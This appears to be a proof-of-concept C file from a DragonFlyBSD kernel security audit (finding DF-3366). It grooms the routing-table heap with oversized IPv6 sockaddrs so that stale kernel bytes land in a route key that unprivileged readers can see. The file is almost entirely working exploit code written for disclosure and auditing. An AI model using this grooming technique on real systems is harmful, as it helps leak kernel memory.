⬢ DragonFlyBSD Kernel Audit
DF-3366 / groom.c
← back to finding ↓ download raw
/*
 * DF-3366 PoC (grooming part -- runs as root)
 *
 * Proves that the padding tail of a route key contains *recycled kernel
 * heap* and is disclosed cross-object to unprivileged RTM_GET readers.
 *
 * 1. Spray N host routes whose destination sockaddr has sin6_len = 32
 *    (larger than a real sockaddr_in6). sys/net/route.c:925
 *    `bcopy(dst, ndst, dst->sa_len)' then copies all 32 bytes -- including
 *    our marker 0x41 0x42 0x43 0x44 at bytes [28..32) -- into the freshly
 *    kmalloc'd (M_RTABLE) key chunk (dlen+glen = 32+32 = 64 bytes).
 * 2. Delete all marker routes -> the 64-byte key chunks (marker at offset
 *    28..32) go back to the M_RTABLE free list.
 * 3. Add ONE victim route with a normal sin6_len=28 sockaddr: only 28
 *    bytes are initialized, bytes [28..32) of the key chunk are stale
 *    heap -- expected to be our marker via chunk reuse.
 * 4. (root side check) RTM_GET the victim and dump the pads.
 *
 * The decisive read is then done by the UNPRIVILEGED leak_get for
 * 2001:db8:99::1.
 */
#include <sys/socket.h>
#include <sys/types.h>
#include <net/route.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define RTRND(a) ((a) > 0 ? (1 + (((a) - 1) | ((int)sizeof(long) - 1))) \
                        : (int)sizeof(long))

#define NSPRAY	32
#define GWSTR	"2001:db8:42::99"	/* on-link after ifconfig alias */
#define VICTIM	"2001:db8:99::1"

static int s;
static int seq = 100;

static int
rt_tx(char *buf, int len)
{
	struct rt_msghdr *r = (struct rt_msghdr *)buf;
	int myseq = seq++;

	r->rtm_version = RTM_VERSION;
	r->rtm_msglen = len;
	r->rtm_seq = myseq;
	r->rtm_pid = getpid();

	if (write(s, buf, len) < 0) {
		perror("write");
		return -1;
	}
	/* wait for our reply; drain broadcasts so the rcvbuf never fills */
	for (;;) {
		struct pollfd pfd;
		char rb[2048];
		struct rt_msghdr *rr;
		int rlen;

		pfd.fd = s;
		pfd.events = POLLIN;
		if (poll(&pfd, 1, 10000) != 1) {
			fprintf(stderr, "rt_tx: no reply for seq %d\n", myseq);
			return -1;
		}
		rlen = read(s, rb, sizeof(rb));
		if (rlen < 0) {
			if (errno == EAGAIN || errno == EINTR)
				continue;
			perror("read");
			return -1;
		}
		rr = (struct rt_msghdr *)rb;
		if (rr->rtm_seq == myseq && rr->rtm_pid == getpid()) {
			errno = rr->rtm_errno;
			return (rr->rtm_errno ? -1 : 0);
		}
	}
}

/* add a host route; dlen32 selects sin6_len 32 (marker dst) or 28 */
static int
add_route(const char *dst6, int dlen32, const unsigned char *pad4)
{
	char buf[512];
	struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
	struct sockaddr_in6 *dst, *gw;
	int off;

	memset(buf, 0, sizeof(buf));
	rtm->rtm_type = RTM_ADD;
	rtm->rtm_flags = RTF_HOST | RTF_GATEWAY | RTF_STATIC;
	rtm->rtm_addrs = RTA_DST | RTA_GATEWAY;

	off = sizeof(struct rt_msghdr);
	dst = (struct sockaddr_in6 *)(buf + off);
	dst->sin6_len = dlen32 ? 32 : 28;
	dst->sin6_family = AF_INET6;
	if (inet_pton(AF_INET6, dst6, &dst->sin6_addr) != 1) { fprintf(stderr, "bad dst %s\n", dst6); exit(2); }
	if (dlen32 && pad4)
		memcpy((unsigned char *)dst + 28, pad4, 4);
	off += 32;				/* rounded slot */

	gw = (struct sockaddr_in6 *)(buf + off);
	gw->sin6_len = 28;
	gw->sin6_family = AF_INET6;
	if (inet_pton(AF_INET6, GWSTR, &gw->sin6_addr) != 1) { fprintf(stderr, "bad gw\n"); exit(2); }
	/* gateway pad bytes [28..32) left zero */
	off += 32;

	return rt_tx(buf, off);
}

static int
del_route(const char *dst6, int dlen32)
{
	char buf[512];
	struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
	struct sockaddr_in6 *dst;
	int off;

	memset(buf, 0, sizeof(buf));
	rtm->rtm_type = RTM_DELETE;
	rtm->rtm_flags = RTF_HOST;
	rtm->rtm_addrs = RTA_DST;

	off = sizeof(struct rt_msghdr);
	dst = (struct sockaddr_in6 *)(buf + off);
	dst->sin6_len = dlen32 ? 32 : 28;
	dst->sin6_family = AF_INET6;
	if (inet_pton(AF_INET6, dst6, &dst->sin6_addr) != 1) { fprintf(stderr, "bad dst %s\n", dst6); exit(2); }
	if (dlen32)
		memset((unsigned char *)dst + 28, 0x41, 4);
	off += 32;

	return rt_tx(buf, off);
}

int
main(void)
{
	unsigned char marker[4] = { 0x41, 0x42, 0x43, 0x44 };
	char dst6[64];
	int i, ok = 0, bad = 0;

	s = socket(PF_ROUTE, SOCK_RAW, 0);
	if (s < 0) {
		perror("socket");
		return 1;
	}
	fcntl(s, F_SETFL, O_NONBLOCK);

	/* 0. cleanup strays from earlier runs (ignore errors) */
	del_route("::", 0);
	del_route(VICTIM, 0);

	/* 1. spray marker routes */
	for (i = 0; i < NSPRAY; i++) {
		snprintf(dst6, sizeof(dst6), "2001:db8:42:dead:beef::%x", 0x100 + i);
		if (add_route(dst6, 1, marker) == 0)
			ok++;
	}
	printf("spray: %d/%d marker routes added\n", ok, NSPRAY);

	/* 2. free them all (their 64B key chunks carry the marker) */
	for (i = 0; i < NSPRAY; i++) {
		snprintf(dst6, sizeof(dst6), "2001:db8:42:dead:beef::%x", 0x100 + i);
		if (del_route(dst6, 0) == 0)
			bad++;
	}
	printf("deleted: %d marker routes\n", bad);

	/* 3. victim route with normal 28-byte sockaddr (uninit tail) */
	if (add_route(VICTIM, 0, NULL) == 0)
		printf("victim %s added (sin6_len=28 -> 4-byte uninit tail)\n",
		    VICTIM);
	else {
		printf("victim add FAILED (%s)\n", strerror(errno));
		return 1;
	}
	return 0;
}